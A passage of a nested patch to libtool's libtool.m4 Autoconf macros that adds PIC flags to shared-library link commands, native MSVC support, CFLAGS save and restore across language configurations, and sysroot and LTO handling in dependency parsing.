-- LDFLAGS="$save_LDFLAGS"
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ AC_CACHE_CHECK([whether the $host_os linker accepts -exported_symbol],
-+ [lt_cv_irix_exported_symbol],
-+ [save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ AC_LINK_IFELSE(
-+ [AC_LANG_SOURCE(
-+ [AC_LANG_CASE([C], [[int foo (void) { return 0; }]],
-+ [C++], [[int foo (void) { return 0; }]],
-+ [Fortran 77], [[
-+ subroutine foo
-+ end]],
-+ [Fortran], [[
-+ subroutine foo
-+ end]])])],
-+ [lt_cv_irix_exported_symbol=yes],
-+ [lt_cv_irix_exported_symbol=no])
-+ LDFLAGS="$save_LDFLAGS"])
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -5020,7 +5350,7 @@ _LT_EOF
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- else
- _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
-@@ -5039,9 +5369,9 @@ _LT_EOF
- _LT_TAGVAR(no_undefined_flag, $1)=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -5313,8 +5643,6 @@ _LT_TAGDECL([], [inherit_rpath], [0],
- to runtime path list])
- _LT_TAGDECL([], [link_all_deplibs], [0],
- [Whether libtool must link a program against all its dependency libraries])
--_LT_TAGDECL([], [fix_srcfile_path], [1],
-- [Fix the shell variable $srcfile for the compiler])
- _LT_TAGDECL([], [always_export_symbols], [0],
- [Set to "yes" if exported symbols are required])
- _LT_TAGDECL([], [export_symbols_cmds], [2],
-@@ -5325,6 +5653,8 @@ _LT_TAGDECL([], [include_expsyms], [1],
- [Symbols that must always be exported])
- _LT_TAGDECL([], [prelink_cmds], [2],
- [Commands necessary for linking programs (against libraries) with templates])
-+_LT_TAGDECL([], [postlink_cmds], [2],
-+ [Commands necessary for finishing linking programs])
- _LT_TAGDECL([], [file_list_spec], [1],
- [Specify filename containing input files])
- dnl FIXME: Not yet implemented
-@@ -5426,6 +5756,7 @@ CC="$lt_save_CC"
- m4_defun([_LT_LANG_CXX_CONFIG],
- [m4_require([_LT_FILEUTILS_DEFAULTS])dnl
- m4_require([_LT_DECL_EGREP])dnl
-+m4_require([_LT_PATH_MANIFEST_TOOL])dnl
- if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
- ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
- (test "X$CXX" != "Xg++"))) ; then
-@@ -5487,6 +5818,7 @@ if test "$_lt_caught_CXX_error" != yes; then
-
- # Allow CC to be a program name with arguments.
- lt_save_CC=$CC
-+ lt_save_CFLAGS=$CFLAGS
- lt_save_LD=$LD
- lt_save_GCC=$GCC
- GCC=$GXX
-@@ -5504,6 +5836,7 @@ if test "$_lt_caught_CXX_error" != yes; then
- fi
- test -z "${LDCXX+set}" || LD=$LDCXX
- CC=${CXX-"c++"}
-+ CFLAGS=$CXXFLAGS
- compiler=$CC
- _LT_TAGVAR(compiler, $1)=$CC
- _LT_CC_BASENAME([$compiler])
-@@ -5667,7 +6000,7 @@ if test "$_lt_caught_CXX_error" != yes; then
- _LT_TAGVAR(allow_undefined_flag, $1)='-berok'
- # Determine the default libpath from the value encoded in an empty
- # executable.
-- _LT_SYS_MODULE_PATH_AIX
-+ _LT_SYS_MODULE_PATH_AIX([$1])
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
-
- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -5679,7 +6012,7 @@ if test "$_lt_caught_CXX_error" != yes; then
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- _LT_SYS_MODULE_PATH_AIX
-+ _LT_SYS_MODULE_PATH_AIX([$1])
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
-@@ -5721,29 +6054,75 @@ if test "$_lt_caught_CXX_error" != yes; then
- ;;
-
- cygwin* | mingw* | pw32* | cegcc*)
-- # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
-- # as there is no search path for DLLs.
-- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
-- _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-all-symbols'
-- _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
-- _LT_TAGVAR(always_export_symbols, $1)=no
-- _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
--
-- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-- # If the export-symbols file already is a .def file (1st line
-- # is EXPORTS), use it as is; otherwise, prepend...
-- _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-- cp $export_symbols $output_objdir/$soname.def;
-- else
-- echo EXPORTS > $output_objdir/$soname.def;
-- cat $export_symbols >> $output_objdir/$soname.def;
-- fi~
-- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-- else
-- _LT_TAGVAR(ld_shlibs, $1)=no
-- fi
-- ;;
-+ case $GXX,$cc_basename in
-+ ,cl* | no,cl*)
-+ # Native MSVC
-+ # hardcode_libdir_flag_spec is actually meaningless, as there is
-+ # no search path for DLLs.
-+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
-+ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
-+ _LT_TAGVAR(always_export_symbols, $1)=yes
-+ _LT_TAGVAR(file_list_spec, $1)='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ $SED -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ $SED -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
-+ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-+ # Don't use ranlib
-+ _LT_TAGVAR(old_postinstall_cmds, $1)='chmod 644 $oldlib'
-+ _LT_TAGVAR(postlink_cmds, $1)='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ func_to_tool_file "$lt_outputfile"~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # g++
-+ # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
-+ # as there is no search path for DLLs.
-+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
-+ _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-all-symbols'
-+ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
-+ _LT_TAGVAR(always_export_symbols, $1)=no
-+ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-+
-+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-+ # If the export-symbols file already is a .def file (1st line
-+ # is EXPORTS), use it as is; otherwise, prepend...
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ cp $export_symbols $output_objdir/$soname.def;
-+ else
-+ echo EXPORTS > $output_objdir/$soname.def;
-+ cat $export_symbols >> $output_objdir/$soname.def;
-+ fi~
-+ $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-+ else
-+ _LT_TAGVAR(ld_shlibs, $1)=no
-+ fi
-+ ;;
-+ esac
-+ ;;
- darwin* | rhapsody*)
- _LT_DARWIN_LINKER_FEATURES($1)
- ;;
-@@ -5818,7 +6197,7 @@ if test "$_lt_caught_CXX_error" != yes; then
- ;;
- *)
- if test "$GXX" = yes; then
-- _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -nostdlib $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- # FIXME: insert proper C++ library support
- _LT_TAGVAR(ld_shlibs, $1)=no
-@@ -5889,10 +6268,10 @@ if test "$_lt_caught_CXX_error" != yes; then
- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- fi
-@@ -5933,9 +6312,9 @@ if test "$_lt_caught_CXX_error" != yes; then
- *)
- if test "$GXX" = yes; then
- if test "$with_gnu_ld" = no; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
- fi
- fi
- _LT_TAGVAR(link_all_deplibs, $1)=yes
-@@ -6005,20 +6384,20 @@ if test "$_lt_caught_CXX_error" != yes; then
- _LT_TAGVAR(prelink_cmds, $1)='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~
-- compile_command="$compile_command `find $tpldir -name \*.o | $NL2SP`"'
-+ compile_command="$compile_command `find $tpldir -name \*.o | sort | $NL2SP`"'
- _LT_TAGVAR(old_archive_cmds, $1)='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $oldobjs$old_deplibs~
-- $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | $NL2SP`~
-+ $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | sort | $NL2SP`~
- $RANLIB $oldlib'
- _LT_TAGVAR(archive_cmds, $1)='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
-- $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
-+ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
- _LT_TAGVAR(archive_expsym_cmds, $1)='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
-- $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
-+ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
- ;;
- *) # Version 6 and above use weak symbols
- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
-@@ -6213,7 +6592,7 @@ if test "$_lt_caught_CXX_error" != yes; then
- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- ;;
- *)
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- ;;
- esac
-
-@@ -6259,7 +6638,7 @@ if test "$_lt_caught_CXX_error" != yes; then
-
- solaris*)
- case $cc_basename in
-- CC*)
-+ CC* | sunCC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- _LT_TAGVAR(archive_cmds_need_lc,$1)=yes
- _LT_TAGVAR(no_undefined_flag, $1)=' -zdefs'
-@@ -6300,9 +6679,9 @@ if test "$_lt_caught_CXX_error" != yes; then
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs'
- if $CC --version | $GREP -v '^2\.7' > /dev/null; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
-@@ -6431,6 +6810,7 @@ if test "$_lt_caught_CXX_error" != yes; then
- fi # test -n "$compiler"
-
- CC=$lt_save_CC
-+ CFLAGS=$lt_save_CFLAGS
- LDCXX=$LD
- LD=$lt_save_LD
- GCC=$lt_save_GCC
-@@ -6445,6 +6825,29 @@ AC_LANG_POP
- ])# _LT_LANG_CXX_CONFIG
-
-
-+# _LT_FUNC_STRIPNAME_CNF
-+# ----------------------
-+# func_stripname_cnf prefix suffix name
-+# strip PREFIX and SUFFIX off of NAME.
-+# PREFIX and SUFFIX must not contain globbing or regex special
-+# characters, hashes, percent signs, but SUFFIX may contain a leading
-+# dot (in which case that matches only a dot).
-+#
-+# This function is identical to the (non-XSI) version of func_stripname,
-+# except this one can be used by m4 code that may be executed by configure,
-+# rather than the libtool script.
-+m4_defun([_LT_FUNC_STRIPNAME_CNF],[dnl
-+AC_REQUIRE([_LT_DECL_SED])
-+AC_REQUIRE([_LT_PROG_ECHO_BACKSLASH])
-+func_stripname_cnf ()
-+{
-+ case ${2} in
-+ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-+ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-+ esac
-+} # func_stripname_cnf
-+])# _LT_FUNC_STRIPNAME_CNF
-+
- # _LT_SYS_HIDDEN_LIBDEPS([TAGNAME])
- # ---------------------------------
- # Figure out "hidden" library dependencies from verbose
-@@ -6453,6 +6856,7 @@ AC_LANG_POP
- # objects, libraries and library flags.
- m4_defun([_LT_SYS_HIDDEN_LIBDEPS],
- [m4_require([_LT_FILEUTILS_DEFAULTS])dnl
-+AC_REQUIRE([_LT_FUNC_STRIPNAME_CNF])dnl
- # Dependencies to place before and after the object being linked:
- _LT_TAGVAR(predep_objects, $1)=
- _LT_TAGVAR(postdep_objects, $1)=
-@@ -6503,6 +6907,13 @@ public class foo {
- };
- _LT_EOF
- ])
-+
-+_lt_libdeps_save_CFLAGS=$CFLAGS
-+case "$CC $CFLAGS " in #(
-+*\ -flto*\ *) CFLAGS="$CFLAGS -fno-lto" ;;
-+*\ -fwhopr*\ *) CFLAGS="$CFLAGS -fno-whopr" ;;
-+esac
-+
- dnl Parse the compiler output and extract the necessary
- dnl objects, libraries and library flags.
- if AC_TRY_EVAL(ac_compile); then
-@@ -6514,7 +6925,7 @@ if AC_TRY_EVAL(ac_compile); then
- pre_test_object_deps_done=no
-
- for p in `eval "$output_verbose_link_cmd"`; do
-- case $p in
-+ case ${prev}${p} in
-
- -L* | -R* | -l*)
- # Some compilers place space between "-{L,R}" and the path.
-@@ -6523,13 +6934,22 @@ if AC_TRY_EVAL(ac_compile); then
- test $p = "-R"; then
- prev=$p
- continue
-- else
-- prev=
- fi
-
-+ # Expand the sysroot to ease extracting the directories later.
-+ if test -z "$prev"; then
-+ case $p in
-+ -L*) func_stripname_cnf '-L' '' "$p"; prev=-L; p=$func_stripname_result ;;
-+ -R*) func_stripname_cnf '-R' '' "$p"; prev=-R; p=$func_stripname_result ;;
-+ -l*) func_stripname_cnf '-l' '' "$p"; prev=-l; p=$func_stripname_result ;;
-+ esac
-+ fi
-+ case $p in
-+ =*) func_stripname_cnf '=' '' "$p"; p=$lt_sysroot$func_stripname_result ;;
-+ esac
- if test "$pre_test_object_deps_done" = no; then
-- case $p in
-- -L* | -R*)
-+ case ${prev} in
-+ -L | -R)
- # Internal compiler library paths should come after those
- # provided the user. The postdeps already come after the
- # user supplied libs so there is no need to process them.
-@@ -6549,8 +6969,10 @@ if AC_TRY_EVAL(ac_compile); then
- _LT_TAGVAR(postdeps, $1)="${_LT_TAGVAR(postdeps, $1)} ${prev}${p}"
- fi
- fi
-+ prev=
- ;;
-
-+ *.lto.$objext) ;; # Ignore GCC LTO objects
- *.$objext)
- # This assumes that the test object file only shows up
- # once in the compiler output.
-@@ -6586,6 +7008,7 @@ else
- fi
-
- $RM -f confest.$objext
-+CFLAGS=$_lt_libdeps_save_CFLAGS
-
- # PORTME: override above test on systems where it is broken
- m4_if([$1], [CXX],
-@@ -6622,7 +7045,7 @@ linux*)
-
- solaris*)
- case $cc_basename in
-- CC*)
-+ CC* | sunCC*)
- # The more standards-conforming stlport4 library is
- # incompatible with the Cstd library. Avoid specifying
- # it if it's in CXXFLAGS. Ignore libCrun as
-@@ -6735,7 +7158,9 @@ if test "$_lt_disable_F77" != yes; then
- # Allow CC to be a program name with arguments.
- lt_save_CC="$CC"
- lt_save_GCC=$GCC
-+ lt_save_CFLAGS=$CFLAGS
- CC=${F77-"f77"}
-+ CFLAGS=$FFLAGS
- compiler=$CC
- _LT_TAGVAR(compiler, $1)=$CC
- _LT_CC_BASENAME([$compiler])
-@@ -6789,6 +7214,7 @@ if test "$_lt_disable_F77" != yes; then
-
- GCC=$lt_save_GCC
- CC="$lt_save_CC"
-+ CFLAGS="$lt_save_CFLAGS"
- fi # test "$_lt_disable_F77" != yes
-
- AC_LANG_POP
-@@ -6865,7 +7291,9 @@ if test "$_lt_disable_FC" != yes; then
- # Allow CC to be a program name with arguments.
- lt_save_CC="$CC"
- lt_save_GCC=$GCC
-+ lt_save_CFLAGS=$CFLAGS
- CC=${FC-"f95"}
-+ CFLAGS=$FCFLAGS
- compiler=$CC
- GCC=$ac_cv_fc_compiler_gnu
-
-@@ -6921,7 +7349,8 @@ if test "$_lt_disable_FC" != yes; then
- fi # test -n "$compiler"
-
- GCC=$lt_save_GCC
-- CC="$lt_save_CC"
-+ CC=$lt_save_CC
-+ CFLAGS=$lt_save_CFLAGS
- fi # test "$_lt_disable_FC" != yes
-
- AC_LANG_POP
-@@ -6958,10 +7387,12 @@ _LT_COMPILER_BOILERPLATE
- _LT_LINKER_BOILERPLATE
-
- # Allow CC to be a program name with arguments.
--lt_save_CC="$CC"
-+lt_save_CC=$CC
-+lt_save_CFLAGS=$CFLAGS
- lt_save_GCC=$GCC
- GCC=yes
- CC=${GCJ-"gcj"}
-+CFLAGS=$GCJFLAGS
- compiler=$CC
- _LT_TAGVAR(compiler, $1)=$CC
- _LT_TAGVAR(LD, $1)="$LD"
-@@ -6992,7 +7423,8 @@ fi
- AC_LANG_RESTORE
-
- GCC=$lt_save_GCC
--CC="$lt_save_CC"
-+CC=$lt_save_CC
-+CFLAGS=$lt_save_CFLAGS
- ])# _LT_LANG_GCJ_CONFIG
-
-
-@@ -7027,9 +7459,11 @@ _LT_LINKER_BOILERPLATE
-
- # Allow CC to be a program name with arguments.
- lt_save_CC="$CC"
-+lt_save_CFLAGS=$CFLAGS
- lt_save_GCC=$GCC
- GCC=
- CC=${RC-"windres"}
-+CFLAGS=
- compiler=$CC
- _LT_TAGVAR(compiler, $1)=$CC
- _LT_CC_BASENAME([$compiler])
-@@ -7042,7 +7476,8 @@ fi
-
- GCC=$lt_save_GCC
- AC_LANG_RESTORE
--CC="$lt_save_CC"
-+CC=$lt_save_CC
-+CFLAGS=$lt_save_CFLAGS
- ])# _LT_LANG_RC_CONFIG
-
-
-@@ -7101,6 +7536,15 @@ _LT_DECL([], [OBJDUMP], [1], [An object symbol dumper])
- AC_SUBST([OBJDUMP])
- ])
-
-+# _LT_DECL_DLLTOOL
-+# ----------------
-+# Ensure DLLTOOL variable is set.
-+m4_defun([_LT_DECL_DLLTOOL],
-+[AC_CHECK_TOOL(DLLTOOL, dlltool, false)
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+_LT_DECL([], [DLLTOOL], [1], [DLL creation program])
-+AC_SUBST([DLLTOOL])
-+])
-
- # _LT_DECL_SED
- # ------------
-@@ -7194,8 +7638,8 @@ m4_defun([_LT_CHECK_SHELL_FEATURES],
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -7234,206 +7678,162 @@ _LT_DECL([NL2SP], [lt_NL2SP], [1], [turn newlines into spaces])dnl
- ])# _LT_CHECK_SHELL_FEATURES
-
-
--# _LT_PROG_XSI_SHELLFNS
--# ---------------------
--# Bourne and XSI compatible variants of some useful shell functions.
--m4_defun([_LT_PROG_XSI_SHELLFNS],
--[case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
